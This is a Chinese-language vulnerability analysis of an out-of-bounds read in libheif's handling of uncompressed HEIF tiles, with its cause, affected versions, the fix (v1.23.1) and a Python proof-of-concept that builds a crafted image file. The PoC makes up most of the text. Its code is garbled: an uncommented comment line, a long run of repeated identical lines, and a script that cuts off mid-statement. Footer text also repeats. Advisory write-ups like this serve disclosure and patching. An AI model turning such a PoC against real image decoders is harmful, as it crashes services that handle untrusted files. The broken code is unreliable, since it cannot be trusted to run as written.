libheif HEIF未压缩图像越界读取漏洞(CVE分析)

漏洞概述 漏洞名称: Out-of-bounds read in uncompressed unci tile range slicing 漏洞描述: 一个精心构造的HEIF未压缩图像可以在libheif解码时触发一个越界读取。该问题并非通过简单地打开文件触发，而是需要解码图像。然而，PoC不需要请求无效文件，而是首先读取图像分块元数据，然后请求广告的分块。应用程序枚举和解码来自攻击者控制的HEIF文件，因此可以通过正常的公共libheif API到达漏洞。 根本原因: 在 中，存在一个溢出范围检查。对于精心构造的unc图像， 会回绕到零在 中。边界检查被绕过，libheif会执行以下操作： GDB确认进程在 中崩溃，带有无效源指针和1 TB的复制大小。 影响: 这是一个越界读取，在解码期间导致拒绝服务（DoS）。 影响范围 受影响版本: libheif >= 1.19.0 修复版本: libheif v1.23.1 修复方案 修复版本: 升级到libheif v1.23.1或更高版本。 POC代码 ```python #!/usr/bin/env python3 import struct import sys import zlib ITEM_ID = 1 WIDTH = 4096 HEIGHT = 4096 TILE_COLS = 4096 TILE_ROWS = 4096 COMPONENTS = 256 def u8(v): return struct.pack(">B", v) def u16(v): return struct.pack(">H", v) def u32(v): return struct.pack(">I", v) def fourcc(b): assert len(b) == 4 return b def box(typ, payload): return u32(8 + len(payload)) + fourcc(typ) + payload def fullbox(typ, version, flags, payload): return box(typ, u8(version) + flags.to_bytes(3, "big") + payload) def cstr(s): return s.encode("utf-8") + b"\x00" def make_ftyp(): payload = fourcc("mif1") payload += u32(0) payload += fourcc("mif1") payload += fourcc("iso1") return box("ftyp", payload) def make_hldr(): payload = u32(0) payload += fourcc("pict") payload += u32(0) + u32(0) + u32(0) payload += cstr("PictureHandler") return fullbox("hldr", 0, 0, payload) def make_pitm(): return fullbox("pitm", 0, 0, u32(ITEM_ID)) def make_iloc(mdat_payload_offset, mdat_payload_size): payload = u32(0x4000) payload += u16(1) payload += u32(ITEM_ID) payload += u16(0) payload += u16(1) payload += u32(mdat_payload_offset) payload += u32(mdat_payload_size) return fullbox("iloc", 0, 0, payload) def make_infot(): infot = fullbox( "infot", 0, 0, u32(ITEM_ID) + u32(0) + fourcc("unc1") + cstr("unc1-ooo-poc"), ) return fullbox("infot", 0, 0, u32(0) + infot) def make_ispe(): return fullbox("ispe", 0, 0, u32(WIDTH) + u32(HEIGHT)) def make_cmap(): payload = u32(COMPONENTS) heif_cmap_component_type_monochrome == 0. Repeating it keeps the colour space valid while allowing unc1 to create many component planes. for _ in range(COMPONENTS): payload += u8(0) return box("cmap", payload) def make_unc1(): payload = u32(0) payload += u32(COMPONENTS) for i in range(COMPONENTS): payload += u32(i) payload += u8(7) payload += u8(0) payload += u8(0) payload += u8(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

libheif HEIF未压缩图像越界读取漏洞(CVE分析)

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

libheif HEIF未压缩图像越界读取漏洞(CVE分析)

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！